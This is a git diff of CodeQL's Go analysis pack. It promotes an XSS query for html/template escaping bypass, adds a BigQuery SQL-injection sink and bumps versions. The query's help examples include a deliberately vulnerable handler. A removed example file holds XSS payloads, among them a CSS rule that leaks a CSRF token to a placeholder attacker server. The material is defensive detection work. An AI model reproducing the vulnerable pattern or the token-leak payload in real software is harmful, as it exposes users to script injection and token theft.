--git a/docs/codeql/codeql-overview/codeql-changelog/index.rst b/docs/codeql/codeql-overview/codeql-changelog/index.rst index 2d2fd483aed..af427fd6915 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/index.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/index.rst @@ -11,6 +11,8 @@ A list of queries for each suite and language `is available here `_,``github.com/antchfx/xpath*``,,,4 `appleboy/gin-jwt `_,``github.com/appleboy/gin-jwt*``,,,1 `beego `_,"``github.com/astaxie/beego*``, ``github.com/beego/beego*``",102,63,213 + `bigquery `_,``cloud.google.com/go/bigquery*``,,,1 `chi `_,``github.com/go-chi/chi*``,3,, `cristalhq/jwt `_,``github.com/cristalhq/jwt*``,,,1 `env `_,``github.com/caarlos0/env*``,5,2, @@ -53,7 +54,7 @@ Go framework & library support `goproxy `_,``github.com/elazarl/goproxy*``,2,2,2 `gorilla/mux `_,``github.com/gorilla/mux*``,1,, `gorilla/websocket `_,``github.com/gorilla/websocket*``,3,, - `gorqlite `_,"``github.com/raindog308/gorqlite*``, ``github.com/rqlite/gorqlite*``",16,4,48 + `gorqlite `_,"``github.com/raindog308/gorqlite*``, ``github.com/rqlite/gorqlite*``, ``github.com/kanikanema/gorqlite*``",24,6,72 `goxpath `_,``github.com/ChrisTrenkamp/goxpath*``,,,3 `htmlquery `_,``github.com/antchfx/htmlquery*``,,,4 `json-iterator `_,``github.com/json-iterator/go*``,,4, @@ -73,6 +74,5 @@ Go framework & library support `xpathparser `_,``github.com/santhosh-tekuri/xpathparser*``,,,2 `yaml `_,``gopkg.in/yaml*``,,9, `zap `_,``go.uber.org/zap*``,,11,33 - Others,``github.com/kanikanema/gorqlite``,8,2,24 - Totals,,688,1069,1556 + Totals,,688,1069,1557 diff --git a/go/documentation/library-coverage/frameworks.csv b/go/documentation/library-coverage/frameworks.csv index bd5a9249068..b5a4c6d65b8 100644 --- a/go/documentation/library-coverage/frameworks.csv +++ b/go/documentation/library-coverage/frameworks.csv @@ -3,6 +3,7 @@ Standard library,https://pkg.go.dev/std, archive/* bufio bytes cmp compress/* co appleboy/gin-jwt,https://github.com/appleboy/gin-jwt,github.com/appleboy/gin-jwt* Afero,https://github.com/spf13/afero,github.com/spf13/afero* beego,https://beego.me/,github.com/astaxie/beego* github.com/beego/beego* +bigquery,https://pkg.go.dev/cloud.google.com/go/bigquery,cloud.google.com/go/bigquery* Bun,https://bun.uptrace.dev/,github.com/uptrace/bun* CleverGo,https://github.com/clevergo/clevergo,clevergo.tech/clevergo* github.com/clevergo/clevergo* Couchbase official client(gocb),https://github.com/couchbase/gocb,github.com/couchbase/gocb* gopkg.in/couchbase/gocb* @@ -35,7 +36,7 @@ golang.org/x/net,https://pkg.go.dev/golang.org/x/net,golang.org/x/net* goproxy,https://github.com/elazarl/goproxy,github.com/elazarl/goproxy* gorilla/mux,https://github.com/gorilla/mux,github.com/gorilla/mux* gorilla/websocket,https://github.com/gorilla/websocket,github.com/gorilla/websocket* -gorqlite,https://github.com/rqlite/gorqlite,github.com/raindog308/gorqlite* github.com/rqlite/gorqlite* +gorqlite,https://github.com/rqlite/gorqlite,github.com/raindog308/gorqlite* github.com/rqlite/gorqlite* github.com/kanikanema/gorqlite* goxpath,https://github.com/ChrisTrenkamp/goxpath/wiki,github.com/ChrisTrenkamp/goxpath* htmlquery,https://github.com/antchfx/htmlquery,github.com/antchfx/htmlquery* Iris,https://www.iris-go.com/,github.com/kataras/iris* diff --git a/go/extractor/go.mod b/go/extractor/go.mod index cfdc82cbd2b..8dce8565a58 100644 --- a/go/extractor/go.mod +++ b/go/extractor/go.mod @@ -9,8 +9,8 @@ toolchain go1.24.0 // when adding or removing dependencies, run // bazel mod tidy require ( - golang.org/x/mod v0.24.0 - golang.org/x/tools v0.33.0 + golang.org/x/mod v0.25.0 + golang.org/x/tools v0.34.0 ) -require golang.org/x/sync v0.14.0 // indirect +require golang.org/x/sync v0.15.0 // indirect diff --git a/go/extractor/go.sum b/go/extractor/go.sum index 3341c6aa4dd..c6a97825c8a 100644 --- a/go/extractor/go.sum +++ b/go/extractor/go.sum @@ -1,8 +1,8 @@ github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= -golang.org/x/mod v0.24.0 h1:ZfthKaKaT4NrhGVZHO1/WDTwGES4De8KtWO0SIbNJMU= -golang.org/x/mod v0.24.0/go.mod h1:IXM97Txy2VM4PJ3gI61r1YEk/gAj6zAHN3AdZt6S9Ww= -golang.org/x/sync v0.14.0 h1:woo0S4Yywslg6hp4eUFjTVOyKt0RookbpAHG4c1HmhQ= -golang.org/x/sync v0.14.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA= -golang.org/x/tools v0.33.0 h1:4qz2S3zmRxbGIhDIAgjxvFutSvH5EfnsYrRBj0UI0bc= -golang.org/x/tools v0.33.0/go.mod h1:CIJMaWEY88juyUfo7UbgPqbC8rU2OqfAV1h2Qp0oMYI= +golang.org/x/mod v0.25.0 h1:n7a+ZbQKQA/Ysbyb0/6IbB1H/X41mKgbhfv7AfG/44w= +golang.org/x/mod v0.25.0/go.mod h1:IXM97Txy2VM4PJ3gI61r1YEk/gAj6zAHN3AdZt6S9Ww= +golang.org/x/sync v0.15.0 h1:KWH3jNZsfyT6xfAfKiz6MRNmd46ByHDYaZ7KSkCtdW8= +golang.org/x/sync v0.15.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA= +golang.org/x/tools v0.34.0 h1:qIpSLOxeCYGg9TrcJokLBG4KFA6d795g0xkBkiESGlo= +golang.org/x/tools v0.34.0/go.mod h1:pAP9OwEaY1CAW3HOmg3hLZC5Z0CCmzjAF2UQMSqNARg= diff --git a/go/ql/consistency-queries/CHANGELOG.md b/go/ql/consistency-queries/CHANGELOG.md index c3254e1caad..3fa1fa4c69b 100644 --- a/go/ql/consistency-queries/CHANGELOG.md +++ b/go/ql/consistency-queries/CHANGELOG.md @@ -1,3 +1,11 @@ +## 1.0.25 + +No user-facing changes. + +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/go/ql/consistency-queries/change-notes/released/1.0.24.md b/go/ql/consistency-queries/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/go/ql/consistency-queries/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/go/ql/consistency-queries/change-notes/released/1.0.25.md b/go/ql/consistency-queries/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/go/ql/consistency-queries/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/go/ql/consistency-queries/codeql-pack.release.yml b/go/ql/consistency-queries/codeql-pack.release.yml index 0f96ba41d16..a5a44030e85 100644 --- a/go/ql/consistency-queries/codeql-pack.release.yml +++ b/go/ql/consistency-queries/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.25 diff --git a/go/ql/consistency-queries/qlpack.yml b/go/ql/consistency-queries/qlpack.yml index 7c8b4515264..17730391629 100644 --- a/go/ql/consistency-queries/qlpack.yml +++ b/go/ql/consistency-queries/qlpack.yml @@ -1,5 +1,5 @@ name: codeql-go-consistency-queries -version: 1.0.24-dev +version: 1.0.26-dev groups: - go - queries diff --git a/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected b/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected index 609e21e82ec..20fcacbc389 100644 --- a/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected +++ b/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected @@ -8,6 +8,7 @@ ql/go/ql/src/Security/CWE-022/TaintedPath.ql ql/go/ql/src/Security/CWE-022/UnsafeUnzipSymlink.ql ql/go/ql/src/Security/CWE-022/ZipSlip.ql ql/go/ql/src/Security/CWE-078/CommandInjection.ql +ql/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql ql/go/ql/src/Security/CWE-079/ReflectedXss.ql ql/go/ql/src/Security/CWE-089/SqlInjection.ql ql/go/ql/src/Security/CWE-089/StringBreak.ql diff --git a/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected b/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected index 634335cd05e..ee0ec8f42ba 100644 --- a/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected +++ b/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected @@ -30,6 +30,7 @@ ql/go/ql/src/Security/CWE-022/TaintedPath.ql ql/go/ql/src/Security/CWE-022/UnsafeUnzipSymlink.ql ql/go/ql/src/Security/CWE-022/ZipSlip.ql ql/go/ql/src/Security/CWE-078/CommandInjection.ql +ql/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql ql/go/ql/src/Security/CWE-079/ReflectedXss.ql ql/go/ql/src/Security/CWE-089/SqlInjection.ql ql/go/ql/src/Security/CWE-089/StringBreak.ql diff --git a/go/ql/integration-tests/query-suite/go-security-extended.qls.expected b/go/ql/integration-tests/query-suite/go-security-extended.qls.expected index 12db20e22f5..9116f7b7ebf 100644 --- a/go/ql/integration-tests/query-suite/go-security-extended.qls.expected +++ b/go/ql/integration-tests/query-suite/go-security-extended.qls.expected @@ -8,6 +8,7 @@ ql/go/ql/src/Security/CWE-022/TaintedPath.ql ql/go/ql/src/Security/CWE-022/UnsafeUnzipSymlink.ql ql/go/ql/src/Security/CWE-022/ZipSlip.ql ql/go/ql/src/Security/CWE-078/CommandInjection.ql +ql/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql ql/go/ql/src/Security/CWE-079/ReflectedXss.ql ql/go/ql/src/Security/CWE-089/SqlInjection.ql ql/go/ql/src/Security/CWE-089/StringBreak.ql diff --git a/go/ql/integration-tests/query-suite/not_included_in_qls.expected b/go/ql/integration-tests/query-suite/not_included_in_qls.expected index bca9992e600..3b79e47da44 100644 --- a/go/ql/integration-tests/query-suite/not_included_in_qls.expected +++ b/go/ql/integration-tests/query-suite/not_included_in_qls.expected @@ -21,7 +21,6 @@ ql/go/ql/src/experimental/CWE-522-DecompressionBombs/DecompressionBombs.ql ql/go/ql/src/experimental/CWE-525/WebCacheDeception.ql ql/go/ql/src/experimental/CWE-74/DsnInjection.ql ql/go/ql/src/experimental/CWE-74/DsnInjectionLocal.ql -ql/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql ql/go/ql/src/experimental/CWE-807/SensitiveConditionBypass.ql ql/go/ql/src/experimental/CWE-840/ConditionalBypass.ql ql/go/ql/src/experimental/CWE-918/SSRF.ql diff --git a/go/ql/lib/CHANGELOG.md b/go/ql/lib/CHANGELOG.md index b6031842a21..879662575e2 100644 --- a/go/ql/lib/CHANGELOG.md +++ b/go/ql/lib/CHANGELOG.md @@ -1,3 +1,13 @@ +## 4.2.7 + +### Minor Analysis Improvements + +* The first argument of `Client.Query` in `cloud.google.com/go/bigquery` is now recognized as a SQL injection sink. + +## 4.2.6 + +No user-facing changes. + ## 4.2.5 No user-facing changes. diff --git a/go/ql/lib/change-notes/released/4.2.6.md b/go/ql/lib/change-notes/released/4.2.6.md new file mode 100644 index 00000000000..4b76e98c68b --- /dev/null +++ b/go/ql/lib/change-notes/released/4.2.6.md @@ -0,0 +1,3 @@ +## 4.2.6 + +No user-facing changes. diff --git a/go/ql/lib/change-notes/released/4.2.7.md b/go/ql/lib/change-notes/released/4.2.7.md new file mode 100644 index 00000000000..118b032c018 --- /dev/null +++ b/go/ql/lib/change-notes/released/4.2.7.md @@ -0,0 +1,5 @@ +## 4.2.7 + +### Minor Analysis Improvements + +* The first argument of `Client.Query` in `cloud.google.com/go/bigquery` is now recognized as a SQL injection sink. diff --git a/go/ql/lib/codeql-pack.release.yml b/go/ql/lib/codeql-pack.release.yml index 1821397188e..0c0ee7d4dfd 100644 --- a/go/ql/lib/codeql-pack.release.yml +++ b/go/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.2.5 +lastReleaseVersion: 4.2.7 diff --git a/go/ql/lib/ext/cloud.google.com.go.bigquery.model.yml b/go/ql/lib/ext/cloud.google.com.go.bigquery.model.yml new file mode 100644 index 00000000000..e2d51e9c6ae --- /dev/null +++ b/go/ql/lib/ext/cloud.google.com.go.bigquery.model.yml @@ -0,0 +1,6 @@ +extensions: + - addsTo: + pack: codeql/go-all + extensible: sinkModel + data: + - ["cloud.google.com/go/bigquery", "Client", True, "Query", "", "", "Argument[0]", "sql-injection", "manual"] diff --git a/go/ql/lib/qlpack.yml b/go/ql/lib/qlpack.yml index 3451f49c2dc..9c6a8397bc3 100644 --- a/go/ql/lib/qlpack.yml +++ b/go/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-all -version: 4.2.6-dev +version: 4.2.8-dev groups: go dbscheme: go.dbscheme extractor: go diff --git a/go/ql/src/CHANGELOG.md b/go/ql/src/CHANGELOG.md index a90fa7b7034..515fbad7adf 100644 --- a/go/ql/src/CHANGELOG.md +++ b/go/ql/src/CHANGELOG.md @@ -1,3 +1,15 @@ +## 1.3.0 + +### New Queries + +* Query (`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the `html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in https://github.com/github/codeql-go/pull/493. + +## 1.2.1 + +### Minor Analysis Improvements + +* The query `go/hardcoded-credentials` has been removed from all query suites. + ## 1.2.0 ### Query Metadata Changes diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp similarity index 79% rename from go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp rename to go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp index a842a685f23..2a0d27304c9 100644 --- a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp @@ -8,7 +8,7 @@ that allow values to be rendered as-is in the template, avoiding the escaping that all the other strings go through.

-

Using them on user-provided values will result in an opportunity for XSS.

+

Using them on user-provided values allows for a cross-site scripting vulnerability.

@@ -19,10 +19,10 @@

In the first example you can see the special types and how they are used in a template:

- +

To avoid XSS, all user input should be a normal string type.

- + diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql new file mode 100644 index 00000000000..0618c8e8888 --- /dev/null +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql @@ -0,0 +1,119 @@ +/** + * @name Cross-site scripting via HTML template escaping bypass + * @description Converting user input to a special type that avoids escaping + * when fed into an HTML template allows for a cross-site + * scripting vulnerability. + * @kind path-problem + * @problem.severity error + * @security-severity 6.1 + * @precision high + * @id go/html-template-escaping-bypass-xss + * @tags security + * external/cwe/cwe-079 + * external/cwe/cwe-116 + */ + +import go + +/** + * A type that will not be escaped when passed to a `html/template` template. + */ +class UnescapedType extends Type { + UnescapedType() { + this.hasQualifiedName("html/template", + ["CSS", "HTML", "HTMLAttr", "JS", "JSStr", "Srcset", "URL"]) + } +} + +/** + * Holds if the sink is a data value argument of a template execution call. + * + * Note that this is slightly more general than + * `SharedXss::HtmlTemplateSanitizer` because it uses `Function.getACall()`, + * which finds calls through interfaces which the receiver implements. This + * finds more results in practice. + */ +predicate isSinkToTemplateExec(DataFlow::Node sink) { + exists(Method fn, string methodName, DataFlow::CallNode call | + fn.hasQualifiedName("html/template", "Template", methodName) and + call = fn.getACall() + | + methodName = "Execute" and sink = call.getArgument(1) + or + methodName = "ExecuteTemplate" and sink = call.getArgument(2) + ) +} + +/** + * Data flow configuration that tracks flows from untrusted sources to template execution calls + * which go through a conversion to an unescaped type. + */ +module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateConfigSig { + private newtype TConversionState = + TUnconverted() or + TConverted(UnescapedType unescapedType) + + /** + * The flow state for tracking whether a conversion to an unescaped type has + * occurred. + */ + class FlowState extends TConversionState { + predicate isBeforeConversion() { this instanceof TUnconverted } + + predicate isAfterConversion(UnescapedType unescapedType) { this = TConverted(unescapedType) } + + /** Gets a textual representation of this element. */ + string toString() { + this.isBeforeConversion() and result = "Unconverted" + or + exists(UnescapedType unescapedType | this.isAfterConversion(unescapedType) | + result = "Converted to " + unescapedType.getQualifiedName() + ) + } + } + + predicate isSource(DataFlow::Node source, FlowState state) { + state.isBeforeConversion() and source instanceof ActiveThreatModelSource + } + + predicate isSink(DataFlow::Node sink, FlowState state) { + state.isAfterConversion(_) and isSinkToTemplateExec(sink) + } + + predicate isBarrier(DataFlow::Node node) { + node instanceof SharedXss::Sanitizer and not node instanceof SharedXss::HtmlTemplateSanitizer + or + node.getType() instanceof NumericType + } + + /** + * When a conversion to a passthrough type is encountered, transition the flow state. + */ + predicate isAdditionalFlowStep( + DataFlow::Node pred, FlowState predState, DataFlow::Node succ, FlowState succState + ) { + exists(ConversionExpr conversion, UnescapedType unescapedType | + // If not yet converted, look for a conversion to a passthrough type + predState.isBeforeConversion() and + succState.isAfterConversion(unescapedType) and + succ.(DataFlow::TypeCastNode).getExpr() = conversion and + pred.asExpr() = conversion.getOperand() and + conversion.getType().getUnderlyingType*() = unescapedType + ) + } +} + +module UntrustedToTemplateExecWithConversionFlow = + TaintTracking::GlobalWithState; + +import UntrustedToTemplateExecWithConversionFlow::PathGraph + +from + UntrustedToTemplateExecWithConversionFlow::PathNode untrustedSource, + UntrustedToTemplateExecWithConversionFlow::PathNode templateExecCall, UnescapedType unescapedType +where + UntrustedToTemplateExecWithConversionFlow::flowPath(untrustedSource, templateExecCall) and + templateExecCall.getState().isAfterConversion(unescapedType) +select templateExecCall.getNode(), untrustedSource, templateExecCall, + "Data from an $@ will not be auto-escaped because it was converted to template." + + unescapedType.getName(), untrustedSource.getNode(), "untrusted source" diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go new file mode 100755 index 00000000000..d9bd46a6b9d --- /dev/null +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go @@ -0,0 +1,13 @@ +package main + +import ( + "html/template" + "net/http" +) + +func bad(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + username := r.Form.Get("username") + tmpl, _ := template.New("test").Parse(`Hi {{.}}`) + tmpl.Execute(w, template.HTML(username)) +} diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go new file mode 100755 index 00000000000..8460f00ba1d --- /dev/null +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go @@ -0,0 +1,13 @@ +package main + +import ( + "html/template" + "net/http" +) + +func good(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + username := r.Form.Get("username") + tmpl, _ := template.New("test").Parse(`Hi {{.}}`) + tmpl.Execute(w, username) +} diff --git a/go/ql/src/Security/CWE-079/StoredXss.go b/go/ql/src/Security/CWE-079/StoredXss.go index 008b738f4ca..192774f0307 100644 --- a/go/ql/src/Security/CWE-079/StoredXss.go +++ b/go/ql/src/Security/CWE-079/StoredXss.go @@ -2,12 +2,12 @@ package main import ( "io" - "io/ioutil" "net/http" + "os" ) func ListFiles(w http.ResponseWriter, r *http.Request) { - files, _ := ioutil.ReadDir(".") + files, _ := os.ReadDir(".") for _, file := range files { io.WriteString(w, file.Name()+"\n") diff --git a/go/ql/src/Security/CWE-079/StoredXssGood.go b/go/ql/src/Security/CWE-079/StoredXssGood.go index d73a205ff3f..a7843e1cfe5 100644 --- a/go/ql/src/Security/CWE-079/StoredXssGood.go +++ b/go/ql/src/Security/CWE-079/StoredXssGood.go @@ -3,12 +3,12 @@ package main import ( "html" "io" - "io/ioutil" "net/http" + "os" ) func ListFiles1(w http.ResponseWriter, r *http.Request) { - files, _ := ioutil.ReadDir(".") + files, _ := os.ReadDir(".") for _, file := range files { io.WriteString(w, html.EscapeString(file.Name())+"\n") diff --git a/go/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/go/ql/src/change-notes/released/1.2.1.md similarity index 64% rename from go/ql/src/change-notes/2025-05-16-hardcoded-credentials.md rename to go/ql/src/change-notes/released/1.2.1.md index b25a9b3d056..d96e9efc365 100644 --- a/go/ql/src/change-notes/2025-05-16-hardcoded-credentials.md +++ b/go/ql/src/change-notes/released/1.2.1.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 1.2.1 + +### Minor Analysis Improvements + * The query `go/hardcoded-credentials` has been removed from all query suites. diff --git a/go/ql/src/change-notes/released/1.3.0.md b/go/ql/src/change-notes/released/1.3.0.md new file mode 100644 index 00000000000..84afeabc50d --- /dev/null +++ b/go/ql/src/change-notes/released/1.3.0.md @@ -0,0 +1,5 @@ +## 1.3.0 + +### New Queries + +* Query (`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the `html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in https://github.com/github/codeql-go/pull/493. diff --git a/go/ql/src/codeql-pack.release.yml b/go/ql/src/codeql-pack.release.yml index 75430e73d1c..ec16350ed6f 100644 --- a/go/ql/src/codeql-pack.release.yml +++ b/go/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.2.0 +lastReleaseVersion: 1.3.0 diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql deleted file mode 100644 index ff63f6bfbec..00000000000 --- a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql +++ /dev/null @@ -1,153 +0,0 @@ -/** - * @name HTML template escaping passthrough - * @description If a user-provided value is converted to a special type that avoids escaping when fed into a HTML - * template, it may result in XSS. - * @kind path-problem - * @problem.severity warning - * @id go/html-template-escaping-passthrough - * @tags security - * experimental - * external/cwe/cwe-079 - */ - -import go - -/** - * Holds if the provided `untrusted` node flows into a conversion to a PassthroughType. - * The `targetType` parameter gets populated with the name of the PassthroughType, - * and `conversionSink` gets populated with the node where the conversion happens. - */ -predicate flowsFromUntrustedToConversion( - DataFlow::Node untrusted, PassthroughTypeName targetType, DataFlow::Node conversionSink -) { - exists(DataFlow::Node source | - UntrustedToPassthroughTypeConversionFlow::flow(source, conversionSink) and - source = untrusted and - UntrustedToPassthroughTypeConversionConfig::isSinkToPassthroughType(conversionSink, targetType) - ) -} - -/** - * A name of a type that will not be escaped when passed to - * a `html/template` template. - */ -class PassthroughTypeName extends string { - PassthroughTypeName() { this = ["HTML", "HTMLAttr", "JS", "JSStr", "CSS", "Srcset", "URL"] } -} - -module UntrustedToPassthroughTypeConversionConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { source instanceof ActiveThreatModelSource } - - additional predicate isSinkToPassthroughType(DataFlow::TypeCastNode sink, PassthroughTypeName name) { - exists(Type typ | - typ = sink.getResultType() and - typ.getUnderlyingType*().hasQualifiedName("html/template", name) - ) - } - - predicate isSink(DataFlow::Node sink) { isSinkToPassthroughType(sink, _) } - - predicate isBarrier(DataFlow::Node node) { - node instanceof SharedXss::Sanitizer or node.getType() instanceof NumericType - } -} - -/** - * Tracks taint flow for reasoning about when a `ActiveThreatModelSource` is - * converted into a special "passthrough" type which will not be escaped by the - * template generator; this allows the injection of arbitrary content (html, - * css, js) into the generated output of the templates. - */ -module UntrustedToPassthroughTypeConversionFlow = - TaintTracking::Global; - -/** - * Holds if the provided `conversion` node flows into the provided `execSink`. - */ -predicate flowsFromConversionToExec( - DataFlow::Node conversion, PassthroughTypeName targetType, DataFlow::Node execSink -) { - PassthroughTypeConversionToTemplateExecutionCallFlow::flow(conversion, execSink) and - PassthroughTypeConversionToTemplateExecutionCallConfig::isSourceConversionToPassthroughType(conversion, - targetType) -} - -module PassthroughTypeConversionToTemplateExecutionCallConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { isSourceConversionToPassthroughType(source, _) } - - additional predicate isSourceConversionToPassthroughType( - DataFlow::TypeCastNode source, PassthroughTypeName name - ) { - exists(Type typ | - typ = source.getResultType() and - typ.getUnderlyingType*().hasQualifiedName("html/template", name) - ) - } - - predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) } -} - -/** - * Tracks taint flow for reasoning about when the result of a conversion to a - * PassthroughType flows to a template execution call. - */ -module PassthroughTypeConversionToTemplateExecutionCallFlow = - TaintTracking::Global; - -/** - * Holds if the sink is a data value argument of a template execution call. - */ -predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) { - exists(Method fn, string methodName | - fn.hasQualifiedName("html/template", "Template", methodName) and - call = fn.getACall() - | - methodName = "Execute" and sink = call.getArgument(1) - or - methodName = "ExecuteTemplate" and sink = call.getArgument(2) - ) -} - -module FromUntrustedToTemplateExecutionCallConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { source instanceof ActiveThreatModelSource } - - predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) } -} - -/** - * Tracks taint flow from a `ActiveThreatModelSource` into a template executor - * call. - */ -module FromUntrustedToTemplateExecutionCallFlow = - TaintTracking::Global; - -import FromUntrustedToTemplateExecutionCallFlow::PathGraph - -/** - * Holds if the provided `untrusted` node flows into the provided `execSink`. - */ -predicate flowsFromUntrustedToExec( - FromUntrustedToTemplateExecutionCallFlow::PathNode untrusted, - FromUntrustedToTemplateExecutionCallFlow::PathNode execSink -) { - FromUntrustedToTemplateExecutionCallFlow::flowPath(untrusted, execSink) -} - -from - FromUntrustedToTemplateExecutionCallFlow::PathNode untrustedSource, - FromUntrustedToTemplateExecutionCallFlow::PathNode templateExecCall, - PassthroughTypeName targetTypeName, DataFlow::Node conversion -where - // A = untrusted remote flow source - // B = conversion to PassthroughType - // C = template execution call - // Flows: - // A -> B - flowsFromUntrustedToConversion(untrustedSource.getNode(), targetTypeName, conversion) and - // B -> C - flowsFromConversionToExec(conversion, targetTypeName, templateExecCall.getNode()) and - // A -> C - flowsFromUntrustedToExec(untrustedSource, templateExecCall) -select templateExecCall.getNode(), untrustedSource, templateExecCall, - "Data from an $@ will not be auto-escaped because it was $@ to template." + targetTypeName, - untrustedSource.getNode(), "untrusted source", conversion, "converted" diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go b/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go deleted file mode 100755 index a23dfa153de..00000000000 --- a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go +++ /dev/null @@ -1,70 +0,0 @@ -package main - -import ( - "html/template" - "os" -) - -func main() {} -func source(s string) string { - return s -} - -type HTMLAlias = template.HTML - -func checkError(err error) { - if err != nil { - panic(err) - } -} - -// bad is an example of a bad implementation -func bad() { - tmpl, _ := template.New("test").Parse(`Hi {{.}}\n`) - tmplTag, _ := template.New("test").Parse(`Hi \n`) - tmplScript, _ := template.New("test").Parse(``) - tmplSrcset, _ := template.New("test").Parse(``) - - { - { - var a = template.HTML(source(`link`)) - checkError(tmpl.Execute(os.Stdout, a)) - } - { - { - var a template.HTML - a = template.HTML(source(`link`)) - checkError(tmpl.Execute(os.Stdout, a)) - } - { - var a HTMLAlias - a = HTMLAlias(source(`link`)) - checkError(tmpl.Execute(os.Stdout, a)) - } - } - } - { - var c = template.HTMLAttr(source(`href="https://example.com"`)) - checkError(tmplTag.Execute(os.Stdout, c)) - } - { - var d = template.JS(source("alert({hello: 'world'})")) - checkError(tmplScript.Execute(os.Stdout, d)) - } - { - var e = template.JSStr(source("setTimeout('alert()')")) - checkError(tmplScript.Execute(os.Stdout, e)) - } - { - var b = template.CSS(source("input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } ")) - checkError(tmpl.Execute(os.Stdout, b)) - } - { - var f = template.Srcset(source(`evil.jpg 320w`)) - checkError(tmplSrcset.Execute(os.Stdout, f)) - } - { - var g = template.URL(source("javascript:alert(1)")) - checkError(tmpl.Execute(os.Stdout, g)) - } -} diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go b/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go deleted file mode 100755 index 3c0a8ad4eb4..00000000000 --- a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go +++ /dev/null @@ -1,15 +0,0 @@ -package main - -import ( - "html/template" - "os" -) - -// good is an example of a good implementation -func good() { - tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`) - { // This will be escaped: - var escaped = source(`link`) - checkError(tmpl.Execute(os.Stdout, escaped)) - } -} diff --git a/go/ql/src/qlpack.yml b/go/ql/src/qlpack.yml index 032ac335902..874d6e093fc 100644 --- a/go/ql/src/qlpack.yml +++ b/go/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-queries -version: 1.2.1-dev +version: 1.3.1-dev groups: - go - queries diff 